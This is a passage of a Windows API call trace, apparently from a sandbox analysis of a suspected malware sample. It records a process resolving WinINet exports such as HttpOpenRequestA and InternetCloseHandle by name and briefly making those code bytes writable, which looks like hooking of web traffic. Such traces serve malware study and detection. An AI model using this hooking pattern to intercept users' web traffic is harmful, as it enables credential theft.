[0082.382] lstrcmpA (lpString1="FtpCreateDirectoryW", lpString2="HttpOpenRequestA") returned -1 [0082.382] lstrcmpA (lpString1="FtpDeleteFileA", lpString2="HttpOpenRequestA") returned -1 [0082.382] lstrcmpA (lpString1="FtpDeleteFileW", lpString2="HttpOpenRequestA") returned -1 [0082.382] lstrcmpA (lpString1="FtpFindFirstFileA", lpString2="HttpOpenRequestA") returned -1 [0082.382] lstrcmpA (lpString1="FtpFindFirstFileW", lpString2="HttpOpenRequestA") returned -1 [0082.382] lstrcmpA (lpString1="FtpGetCurrentDirectoryA", lpString2="HttpOpenRequestA") returned -1 [0082.382] lstrcmpA (lpString1="FtpGetCurrentDirectoryW", lpString2="HttpOpenRequestA") returned -1 [0082.382] lstrcmpA (lpString1="FtpGetFileA", lpString2="HttpOpenRequestA") returned -1 [0082.382] lstrcmpA (lpString1="FtpGetFileEx", lpString2="HttpOpenRequestA") returned -1 [0082.382] lstrcmpA (lpString1="FtpGetFileSize", lpString2="HttpOpenRequestA") returned -1 [0082.382] lstrcmpA (lpString1="FtpGetFileW", lpString2="HttpOpenRequestA") returned -1 [0082.382] lstrcmpA (lpString1="FtpOpenFileA", lpString2="HttpOpenRequestA") returned -1 [0082.382] lstrcmpA (lpString1="FtpOpenFileW", lpString2="HttpOpenRequestA") returned -1 [0082.382] lstrcmpA (lpString1="FtpPutFileA", lpString2="HttpOpenRequestA") returned -1 [0082.382] lstrcmpA (lpString1="FtpPutFileEx", lpString2="HttpOpenRequestA") returned -1 [0082.382] lstrcmpA (lpString1="FtpPutFileW", lpString2="HttpOpenRequestA") returned -1 [0082.382] lstrcmpA (lpString1="FtpRemoveDirectoryA", lpString2="HttpOpenRequestA") returned -1 [0082.382] lstrcmpA (lpString1="FtpRemoveDirectoryW", lpString2="HttpOpenRequestA") returned -1 [0082.382] lstrcmpA (lpString1="FtpRenameFileA", lpString2="HttpOpenRequestA") returned -1 [0082.382] lstrcmpA (lpString1="FtpRenameFileW", lpString2="HttpOpenRequestA") returned -1 [0082.382] lstrcmpA (lpString1="FtpSetCurrentDirectoryA", lpString2="HttpOpenRequestA") returned -1 [0082.382] lstrcmpA (lpString1="FtpSetCurrentDirectoryW", lpString2="HttpOpenRequestA") returned -1 [0082.382] lstrcmpA (lpString1="GetUrlCacheConfigInfoA", lpString2="HttpOpenRequestA") returned -1 [0082.382] lstrcmpA (lpString1="GetUrlCacheConfigInfoW", lpString2="HttpOpenRequestA") returned -1 [0082.383] lstrcmpA (lpString1="GetUrlCacheEntryInfoA", lpString2="HttpOpenRequestA") returned -1 [0082.383] lstrcmpA (lpString1="GetUrlCacheEntryInfoExA", lpString2="HttpOpenRequestA") returned -1 [0082.383] lstrcmpA (lpString1="GetUrlCacheEntryInfoExW", lpString2="HttpOpenRequestA") returned -1 [0082.383] lstrcmpA (lpString1="GetUrlCacheEntryInfoW", lpString2="HttpOpenRequestA") returned -1 [0082.383] lstrcmpA (lpString1="GetUrlCacheGroupAttributeA", lpString2="HttpOpenRequestA") returned -1 [0082.383] lstrcmpA (lpString1="GetUrlCacheGroupAttributeW", lpString2="HttpOpenRequestA") returned -1 [0082.383] lstrcmpA (lpString1="GetUrlCacheHeaderData", lpString2="HttpOpenRequestA") returned -1 [0082.383] lstrcmpA (lpString1="GopherCreateLocatorA", lpString2="HttpOpenRequestA") returned -1 [0082.383] lstrcmpA (lpString1="GopherCreateLocatorW", lpString2="HttpOpenRequestA") returned -1 [0082.383] lstrcmpA (lpString1="GopherFindFirstFileA", lpString2="HttpOpenRequestA") returned -1 [0082.383] lstrcmpA (lpString1="GopherFindFirstFileW", lpString2="HttpOpenRequestA") returned -1 [0082.383] lstrcmpA (lpString1="GopherGetAttributeA", lpString2="HttpOpenRequestA") returned -1 [0082.392] lstrcmpA (lpString1="GopherGetAttributeW", lpString2="HttpOpenRequestA") returned -1 [0082.392] lstrcmpA (lpString1="GopherGetLocatorTypeA", lpString2="HttpOpenRequestA") returned -1 [0082.409] lstrcmpA (lpString1="GopherGetLocatorTypeW", lpString2="HttpOpenRequestA") returned -1 [0082.411] lstrcmpA (lpString1="GopherOpenFileA", lpString2="HttpOpenRequestA") returned -1 [0082.411] lstrcmpA (lpString1="GopherOpenFileW", lpString2="HttpOpenRequestA") returned -1 [0082.412] lstrcmpA (lpString1="HttpAddRequestHeadersA", lpString2="HttpOpenRequestA") returned -1 [0082.420] lstrcmpA (lpString1="HttpAddRequestHeadersW", lpString2="HttpOpenRequestA") returned -1 [0082.420] lstrcmpA (lpString1="HttpCheckDavCompliance", lpString2="HttpOpenRequestA") returned -1 [0082.420] lstrcmpA (lpString1="HttpEndRequestA", lpString2="HttpOpenRequestA") returned -1 [0082.421] lstrcmpA (lpString1="HttpEndRequestW", lpString2="HttpOpenRequestA") returned -1 [0082.421] lstrcmpA (lpString1="HttpOpenRequestA", lpString2="HttpOpenRequestA") returned 0 [0082.421] VirtualProtect (in: lpAddress=0x768e2970, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x37fcfc | out: lpflOldProtect=0x37fcfc*=0x20) returned 1 [0082.421] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0xc) returned 0x27489f8 [0082.421] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0xc) returned 0x274f4a8 [0082.421] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x27489f8 | out: hHeap=0x2350000) returned 1 [0082.421] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274f4a8 | out: hHeap=0x2350000) returned 1 [0082.421] VirtualProtect (in: lpAddress=0x76998628, dwSize=0x5, flNewProtect=0x40, lpflOldProtect=0x37fd30 | out: lpflOldProtect=0x37fd30*=0x20) returned 1 [0082.421] VirtualProtect (in: lpAddress=0x76998628, dwSize=0x5, flNewProtect=0x20, lpflOldProtect=0x37fd30 | out: lpflOldProtect=0x37fd30*=0x40) returned 1 [0082.422] VirtualProtect (in: lpAddress=0x768e2970, dwSize=0x4, flNewProtect=0x20, lpflOldProtect=0x37fcfc | out: lpflOldProtect=0x37fcfc*=0x40) returned 1 [0082.422] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fcc8, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fcc8, ReturnLength=0x0) returned 0x0 [0082.422] GetModuleHandleA (lpModuleName="WININET.DLL") returned 0x768e0000 [0082.422] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274eb10 [0082.422] lstrcmpA (lpString1="CommitUrlCacheEntryA", lpString2="InternetCloseHandle") returned -1 [0082.422] lstrcmpA (lpString1="CommitUrlCacheEntryW", lpString2="InternetCloseHandle") returned -1 [0082.422] lstrcmpA (lpString1="CreateMD5SSOHash", lpString2="InternetCloseHandle") returned -1 [0082.422] lstrcmpA (lpString1="CreateUrlCacheContainerA", lpString2="InternetCloseHandle") returned -1 [0082.422] lstrcmpA (lpString1="CreateUrlCacheContainerW", lpString2="InternetCloseHandle") returned -1 [0082.422] lstrcmpA (lpString1="CreateUrlCacheEntryA", lpString2="InternetCloseHandle") returned -1 [0082.422] lstrcmpA (lpString1="CreateUrlCacheEntryW", lpString2="InternetCloseHandle") returned -1 [0082.422] lstrcmpA (lpString1="CreateUrlCacheGroup", lpString2="InternetCloseHandle") returned -1 [0082.422] lstrcmpA (lpString1="DeleteIE3Cache", lpString2="InternetCloseHandle") returned -1 [0082.422] lstrcmpA (lpString1="DeleteUrlCacheContainerA", lpString2="InternetCloseHandle") returned -1 [0082.422] lstrcmpA (lpString1="DeleteUrlCacheContainerW", lpString2="InternetCloseHandle") returned -1 [0082.423] lstrcmpA (lpString1="DeleteUrlCacheEntry", lpString2="InternetCloseHandle") returned -1 [0082.423] lstrcmpA (lpString1="DeleteUrlCacheEntryA", lpString2="InternetCloseHandle") returned -1 [0082.423] lstrcmpA (lpString1="DeleteUrlCacheEntryW", lpString2="InternetCloseHandle") returned -1 [0082.423] lstrcmpA (lpString1="DeleteUrlCacheGroup", lpString2="InternetCloseHandle") returned -1 [0082.423] lstrcmpA (lpString1="DeleteWpadCacheForNetworks", lpString2="InternetCloseHandle") returned -1 [0082.423] lstrcmpA (lpString1="DetectAutoProxyUrl", lpString2="InternetCloseHandle") returned -1 [0082.423] lstrcmpA (lpString1="DispatchAPICall", lpString2="InternetCloseHandle") returned -1 [0082.423] lstrcmpA (lpString1="DllInstall", lpString2="InternetCloseHandle") returned -1 [0082.423] lstrcmpA (lpString1="FindCloseUrlCache", lpString2="InternetCloseHandle") returned -1 [0082.423] lstrcmpA (lpString1="FindFirstUrlCacheContainerA", lpString2="InternetCloseHandle") returned -1 [0082.423] lstrcmpA (lpString1="FindFirstUrlCacheContainerW", lpString2="InternetCloseHandle") returned -1 [0082.423] lstrcmpA (lpString1="FindFirstUrlCacheEntryA", lpString2="InternetCloseHandle") returned -1 [0082.423] lstrcmpA (lpString1="FindFirstUrlCacheEntryExA", lpString2="InternetCloseHandle") returned -1 [0082.423] lstrcmpA (lpString1="FindFirstUrlCacheEntryExW", lpString2="InternetCloseHandle") returned -1 [0082.423] lstrcmpA (lpString1="FindFirstUrlCacheEntryW", lpString2="InternetCloseHandle") returned -1 [0082.423] lstrcmpA (lpString1="FindFirstUrlCacheGroup", lpString2="InternetCloseHandle") returned -1 [0082.423] lstrcmpA (lpString1="FindNextUrlCacheContainerA", lpString2="InternetCloseHandle") returned -1 [0082.423] lstrcmpA (lpString1="FindNextUrlCacheContainerW", lpString2="InternetCloseHandle") returned -1 [0082.423] lstrcmpA (lpString1="FindNextUrlCacheEntryA", lpString2="InternetCloseHandle") returned -1 [0082.423] lstrcmpA (lpString1="FindNextUrlCacheEntryExA", lpString2="InternetCloseHandle") returned -1 [0082.423] lstrcmpA (lpString1="FindNextUrlCacheEntryExW", lpString2="InternetCloseHandle") returned -1 [0082.423] lstrcmpA (lpString1="FindNextUrlCacheEntryW", lpString2="InternetCloseHandle") returned -1 [0082.423] lstrcmpA (lpString1="FindNextUrlCacheGroup", lpString2="InternetCloseHandle") returned -1 [0082.423] lstrcmpA (lpString1="ForceNexusLookup", lpString2="InternetCloseHandle") returned -1 [0082.423] lstrcmpA (lpString1="ForceNexusLookupExW", lpString2="InternetCloseHandle") returned -1 [0082.423] lstrcmpA (lpString1="FreeUrlCacheSpaceA", lpString2="InternetCloseHandle") returned -1 [0082.423] lstrcmpA (lpString1="FreeUrlCacheSpaceW", lpString2="InternetCloseHandle") returned -1 [0082.423] lstrcmpA (lpString1="FtpCommandA", lpString2="InternetCloseHandle") returned -1 [0082.423] lstrcmpA (lpString1="FtpCommandW", lpString2="InternetCloseHandle") returned -1 [0082.423] lstrcmpA (lpString1="FtpCreateDirectoryA", lpString2="InternetCloseHandle") returned -1 [0082.423] lstrcmpA (lpString1="FtpCreateDirectoryW", lpString2="InternetCloseHandle") returned -1 [0082.423] lstrcmpA (lpString1="FtpDeleteFileA", lpString2="InternetCloseHandle") returned -1 [0082.423] lstrcmpA (lpString1="FtpDeleteFileW", lpString2="InternetCloseHandle") returned -1 [0082.423] lstrcmpA (lpString1="FtpFindFirstFileA", lpString2="InternetCloseHandle") returned -1 [0082.423] lstrcmpA (lpString1="FtpFindFirstFileW", lpString2="InternetCloseHandle") returned -1 [0082.423] lstrcmpA (lpString1="FtpGetCurrentDirectoryA", lpString2="InternetCloseHandle") returned -1 [0082.423] lstrcmpA (lpString1="FtpGetCurrentDirectoryW", lpString2="InternetCloseHandle") returned -1 [0082.423] lstrcmpA (lpString1="FtpGetFileA", lpString2="InternetCloseHandle") returned -1 [0082.423] lstrcmpA (lpString1="FtpGetFileEx", lpString2="InternetCloseHandle") returned -1 [0082.424] lstrcmpA (lpString1="FtpGetFileSize", lpString2="InternetCloseHandle") returned -1 [0082.424] lstrcmpA (lpString1="FtpGetFileW", lpString2="InternetCloseHandle") returned -1 [0082.424] lstrcmpA (lpString1="FtpOpenFileA", lpString2="InternetCloseHandle") returned -1 [0082.424] lstrcmpA (lpString1="FtpOpenFileW", lpString2="InternetCloseHandle") returned -1 [0082.424] lstrcmpA (lpString1="FtpPutFileA", lpString2="InternetCloseHandle") returned -1 [0082.424] lstrcmpA (lpString1="FtpPutFileEx", lpString2="InternetCloseHandle") returned -1 [0082.424] lstrcmpA (lpString1="FtpPutFileW", lpString2="InternetCloseHandle") returned -1 [0082.424] lstrcmpA (lpString1="FtpRemoveDirectoryA", lpString2="InternetCloseHandle") returned -1 [0082.424] lstrcmpA (lpString1="FtpRemoveDirectoryW", lpString2="InternetCloseHandle") returned -1 [0082.424] lstrcmpA (lpString1="FtpRenameFileA", lpString2="InternetCloseHandle") returned -1 [0082.424] lstrcmpA (lpString1="FtpRenameFileW", lpString2="InternetCloseHandle") returned -1 [0082.424] lstrcmpA (lpString1="FtpSetCurrentDirectoryA", lpString2="InternetCloseHandle") returned -1 [0082.424] lstrcmpA (lpString1="FtpSetCurrentDirectoryW", lpString2="InternetCloseHandle") returned -1 [0082.424] lstrcmpA (lpString1="GetUrlCacheConfigInfoA", lpString2="InternetCloseHandle") returned -1 [0082.424] lstrcmpA (lpString1="GetUrlCacheConfigInfoW", lpString2="InternetCloseHandle") returned -1 [0082.424] lstrcmpA (lpString1="GetUrlCacheEntryInfoA", lpString2="InternetCloseHandle") returned -1 [0082.424] lstrcmpA (lpString1="GetUrlCacheEntryInfoExA", lpString2="InternetCloseHandle") returned -1 [0082.424] lstrcmpA (lpString1="GetUrlCacheEntryInfoExW", lpString2="InternetCloseHandle") returned -1 [0082.424] lstrcmpA (lpString1="GetUrlCacheEntryInfoW", lpString2="InternetCloseHandle") returned -1 [0082.424] lstrcmpA (lpString1="GetUrlCacheGroupAttributeA", lpString2="InternetCloseHandle") returned -1 [0082.424] lstrcmpA (lpString1="GetUrlCacheGroupAttributeW", lpString2="InternetCloseHandle") returned -1 [0082.424] lstrcmpA (lpString1="GetUrlCacheHeaderData", lpString2="InternetCloseHandle") returned -1 [0082.424] lstrcmpA (lpString1="GopherCreateLocatorA", lpString2="InternetCloseHandle") returned -1 [0082.424] lstrcmpA (lpString1="GopherCreateLocatorW", lpString2="InternetCloseHandle") returned -1 [0082.424] lstrcmpA (lpString1="GopherFindFirstFileA", lpString2="InternetCloseHandle") returned -1 [0082.424] lstrcmpA (lpString1="GopherFindFirstFileW", lpString2="InternetCloseHandle") returned -1 [0082.424] lstrcmpA (lpString1="GopherGetAttributeA", lpString2="InternetCloseHandle") returned -1 [0082.424] lstrcmpA (lpString1="GopherGetAttributeW", lpString2="InternetCloseHandle") returned -1 [0082.424] lstrcmpA (lpString1="GopherGetLocatorTypeA", lpString2="InternetCloseHandle") returned -1 [0082.424] lstrcmpA (lpString1="GopherGetLocatorTypeW", lpString2="InternetCloseHandle") returned -1 [0082.424] lstrcmpA (lpString1="GopherOpenFileA", lpString2="InternetCloseHandle") returned -1 [0082.424] lstrcmpA (lpString1="GopherOpenFileW", lpString2="InternetCloseHandle") returned -1 [0082.424] lstrcmpA (lpString1="HttpAddRequestHeadersA", lpString2="InternetCloseHandle") returned -1 [0082.424] lstrcmpA (lpString1="HttpAddRequestHeadersW", lpString2="InternetCloseHandle") returned -1 [0082.424] lstrcmpA (lpString1="HttpCheckDavCompliance", lpString2="InternetCloseHandle") returned -1 [0082.424] lstrcmpA (lpString1="HttpEndRequestA", lpString2="InternetCloseHandle") returned -1 [0082.424] lstrcmpA (lpString1="HttpEndRequestW", lpString2="InternetCloseHandle") returned -1 [0082.424] lstrcmpA (lpString1="HttpOpenRequestA", lpString2="InternetCloseHandle") returned -1 [0082.425] lstrcmpA (lpString1="HttpOpenRequestW", lpString2="InternetCloseHandle") returned -1 [0082.425] lstrcmpA (lpString1="HttpQueryInfoA", lpString2="InternetCloseHandle") returned -1 [0082.425] lstrcmpA (lpString1="HttpQueryInfoW", lpString2="InternetCloseHandle") returned -1 [0082.425] lstrcmpA (lpString1="HttpSendRequestA", lpString2="InternetCloseHandle") returned -1 [0082.425] lstrcmpA (lpString1="HttpSendRequestExA", lpString2="InternetCloseHandle") returned -1 [0082.425] lstrcmpA (lpString1="HttpSendRequestExW", lpString2="InternetCloseHandle") returned -1 [0082.425] lstrcmpA (lpString1="HttpSendRequestW", lpString2="InternetCloseHandle") returned -1 [0082.425] lstrcmpA (lpString1="IncrementUrlCacheHeaderData", lpString2="InternetCloseHandle") returned -1 [0082.425] lstrcmpA (lpString1="InternetAlgIdToStringA", lpString2="InternetCloseHandle") returned -1 [0082.425] lstrcmpA (lpString1="InternetAlgIdToStringW", lpString2="InternetCloseHandle") returned -1 [0082.425] lstrcmpA (lpString1="InternetAttemptConnect", lpString2="InternetCloseHandle") returned -1 [0082.425] lstrcmpA (lpString1="InternetAutodial", lpString2="InternetCloseHandle") returned -1 [0082.425] lstrcmpA (lpString1="InternetAutodialCallback", lpString2="InternetCloseHandle") returned -1 [0082.425] lstrcmpA (lpString1="InternetAutodialHangup", lpString2="InternetCloseHandle") returned -1 [0082.425] lstrcmpA (lpString1="InternetCanonicalizeUrlA", lpString2="InternetCloseHandle") returned -1 [0082.425] lstrcmpA (lpString1="InternetCanonicalizeUrlW", lpString2="InternetCloseHandle") returned -1 [0082.425] lstrcmpA (lpString1="InternetCheckConnectionA", lpString2="InternetCloseHandle") returned -1 [0082.425] lstrcmpA (lpString1="InternetCheckConnectionW", lpString2="InternetCloseHandle") returned -1 [0082.425] lstrcmpA (lpString1="InternetClearAllPerSiteCookieDecisions", lpString2="InternetCloseHandle") returned -1 [0082.425] lstrcmpA (lpString1="InternetCloseHandle", lpString2="InternetCloseHandle") returned 0 [0082.425] VirtualProtect (in: lpAddress=0x768e29c0, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x37fcfc | out: lpflOldProtect=0x37fcfc*=0x20) returned 1 [0082.425] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0xc) returned 0x27489f8 [0082.425] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0xc) returned 0x274f4a8 [0082.425] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x27489f8 | out: hHeap=0x2350000) returned 1 [0082.425] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274f4a8 | out: hHeap=0x2350000) returned 1 [0082.425] VirtualProtect (in: lpAddress=0x7699862d, dwSize=0x5, flNewProtect=0x40, lpflOldProtect=0x37fd30 | out: lpflOldProtect=0x37fd30*=0x20) returned 1 [0082.426] VirtualProtect (in: lpAddress=0x7699862d, dwSize=0x5, flNewProtect=0x20, lpflOldProtect=0x37fd30 | out: lpflOldProtect=0x37fd30*=0x40) returned 1 [0082.426] VirtualProtect (in: lpAddress=0x768e29c0, dwSize=0x4, flNewProtect=0x20, lpflOldProtect=0x37fcfc | out: lpflOldProtect=0x37fcfc*=0x40) returned 1 [0082.426] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fcc8, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fcc8, ReturnLength=0x0) returned 0x0 [0082.426] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x1000) returned 0x274d658 [0082.426] EnumProcessModules (in: hProcess=0xffffffff, lphModule=0x274d658, cb=0x1000, lpcbNeeded=0x37fd5c | out: lphModule=0x274d658, lpcbNeeded=0x37fd5c) returned 1 [0082.427] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0xd60000, lpBuffer=0x37fd74, dwLength=0x1c | out: lpBuffer=0x37fd74*(BaseAddress=0xd60000, AllocationBase=0xd60000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0082.427] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd28, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd28, ReturnLength=0x0) returned 0x0 [0082.427] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274eb48 [0082.427] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="WININET.DLL") returned -1 [0082.427] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0082.428] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0082.428] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0082.428] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0082.428] lstrcmpiA (lpString1="SHLWAPI.dll", lpString2="WININET.DLL") returned -1 [0082.428] lstrcmpiA (lpString1="SHELL32.dll", lpString2="WININET.DLL") returned -1 [0082.428] lstrcmpiA (lpString1="ole32.dll", lpString2="WININET.DLL") returned -1 [0082.428] lstrcmpiA (lpString1="iertutil.dll", lpString2="WININET.DLL") returned -1 [0082.428] lstrcmpiA (lpString1="urlmon.dll", lpString2="WININET.DLL") returned -1 [0082.428] lstrcmpiA (lpString1="IEFRAME.dll", lpString2="WININET.DLL") returned -1 [0082.428] lstrcmpiA (lpString1="MLANG.dll", lpString2="WININET.DLL") returned -1 [0082.428] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274eb48 | out: hHeap=0x2350000) returned 1 [0082.428] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274eb48 [0082.428] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="WININET.DLL") returned -1 [0082.428] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0082.428] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0082.428] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0082.428] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0082.428] lstrcmpiA (lpString1="SHLWAPI.dll", lpString2="WININET.DLL") returned -1 [0082.428] lstrcmpiA (lpString1="SHELL32.dll", lpString2="WININET.DLL") returned -1 [0082.428] lstrcmpiA (lpString1="ole32.dll", lpString2="WININET.DLL") returned -1 [0082.428] lstrcmpiA (lpString1="iertutil.dll", lpString2="WININET.DLL") returned -1 [0082.428] lstrcmpiA (lpString1="urlmon.dll", lpString2="WININET.DLL") returned -1 [0082.428] lstrcmpiA (lpString1="IEFRAME.dll", lpString2="WININET.DLL") returned -1 [0082.428] lstrcmpiA (lpString1="MLANG.dll", lpString2="WININET.DLL") returned -1 [0082.428] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274eb48 | out: hHeap=0x2350000) returned 1 [0082.428] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274eb48 [0082.428] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="WININET.DLL") returned -1 [0082.428] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0082.428] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0082.428] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0082.428] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0082.428] lstrcmpiA (lpString1="SHLWAPI.dll", lpString2="WININET.DLL") returned -1 [0082.428] lstrcmpiA (lpString1="SHELL32.dll", lpString2="WININET.DLL") returned -1 [0082.428] lstrcmpiA (lpString1="ole32.dll", lpString2="WININET.DLL") returned -1 [0082.428] lstrcmpiA (lpString1="iertutil.dll", lpString2="WININET.DLL") returned -1 [0082.428] lstrcmpiA (lpString1="urlmon.dll", lpString2="WININET.DLL") returned -1 [0082.428] lstrcmpiA (lpString1="IEFRAME.dll", lpString2="WININET.DLL") returned -1 [0082.428] lstrcmpiA (lpString1="MLANG.dll", lpString2="WININET.DLL") returned -1 [0082.428] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274eb48 | out: hHeap=0x2350000) returned 1 [0082.429] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274eb48 [0082.429] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="WININET.DLL") returned -1 [0082.429] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0082.429] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0082.429] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0082.429] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0082.429] lstrcmpiA (lpString1="SHLWAPI.dll", lpString2="WININET.DLL") returned -1 [0082.429] lstrcmpiA (lpString1="SHELL32.dll", lpString2="WININET.DLL") returned -1 [0082.429] lstrcmpiA (lpString1="ole32.dll", lpString2="WININET.DLL") returned -1 [0082.429] lstrcmpiA (lpString1="iertutil.dll", lpString2="WININET.DLL") returned -1 [0082.429] lstrcmpiA (lpString1="urlmon.dll", lpString2="WININET.DLL") returned -1 [0082.429] lstrcmpiA (lpString1="IEFRAME.dll", lpString2="WININET.DLL") returned -1 [0082.429] lstrcmpiA (lpString1="MLANG.dll", lpString2="WININET.DLL") returned -1 [0082.429] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274eb48 | out: hHeap=0x2350000) returned 1 [0082.429] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274eb48 [0082.429] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="WININET.DLL") returned -1 [0082.429] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0082.429] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0082.429] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0082.429] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0082.429] lstrcmpiA (lpString1="SHLWAPI.dll", lpString2="WININET.DLL") returned -1 [0082.429] lstrcmpiA (lpString1="SHELL32.dll", lpString2="WININET.DLL") returned -1 [0082.429] lstrcmpiA (lpString1="ole32.dll", lpString2="WININET.DLL") returned -1 [0082.429] lstrcmpiA (lpString1="iertutil.dll", lpString2="WININET.DLL") returned -1 [0082.429] lstrcmpiA (lpString1="urlmon.dll", lpString2="WININET.DLL") returned -1 [0082.429] lstrcmpiA (lpString1="IEFRAME.dll", lpString2="WININET.DLL") returned -1 [0082.429] lstrcmpiA (lpString1="MLANG.dll", lpString2="WININET.DLL") returned -1 [0082.429] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274eb48 | out: hHeap=0x2350000) returned 1 [0082.429] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274eb48 [0082.429] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="WININET.DLL") returned -1 [0082.429] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0082.429] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0082.429] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0082.429] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0082.429] lstrcmpiA (lpString1="SHLWAPI.dll", lpString2="WININET.DLL") returned -1 [0082.429] lstrcmpiA (lpString1="SHELL32.dll", lpString2="WININET.DLL") returned -1 [0082.429] lstrcmpiA (lpString1="ole32.dll", lpString2="WININET.DLL") returned -1 [0082.429] lstrcmpiA (lpString1="iertutil.dll", lpString2="WININET.DLL") returned -1 [0082.429] lstrcmpiA (lpString1="urlmon.dll", lpString2="WININET.DLL") returned -1 [0082.430] lstrcmpiA (lpString1="IEFRAME.dll", lpString2="WININET.DLL") returned -1 [0082.430] lstrcmpiA (lpString1="MLANG.dll", lpString2="WININET.DLL") returned -1 [0082.430] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274eb48 | out: hHeap=0x2350000) returned 1 [0082.430] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274eb48 [0082.430] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="WININET.DLL") returned -1 [0082.430] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0082.430] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0082.430] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0082.430] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0082.430] lstrcmpiA (lpString1="SHLWAPI.dll", lpString2="WININET.DLL") returned -1 [0082.430] lstrcmpiA (lpString1="SHELL32.dll", lpString2="WININET.DLL") returned -1 [0082.430] lstrcmpiA (lpString1="ole32.dll", lpString2="WININET.DLL") returned -1 [0082.430] lstrcmpiA (lpString1="iertutil.dll", lpString2="WININET.DLL") returned -1 [0082.430] lstrcmpiA (lpString1="urlmon.dll", lpString2="WININET.DLL") returned -1 [0082.430] lstrcmpiA (lpString1="IEFRAME.dll", lpString2="WININET.DLL") returned -1 [0082.430] lstrcmpiA (lpString1="MLANG.dll", lpString2="WININET.DLL") returned -1 [0082.430] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274eb48 | out: hHeap=0x2350000) returned 1 [0082.430] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274eb48 [0082.430] lstrcmpiA (lpString1="ADVAPI32.dll", 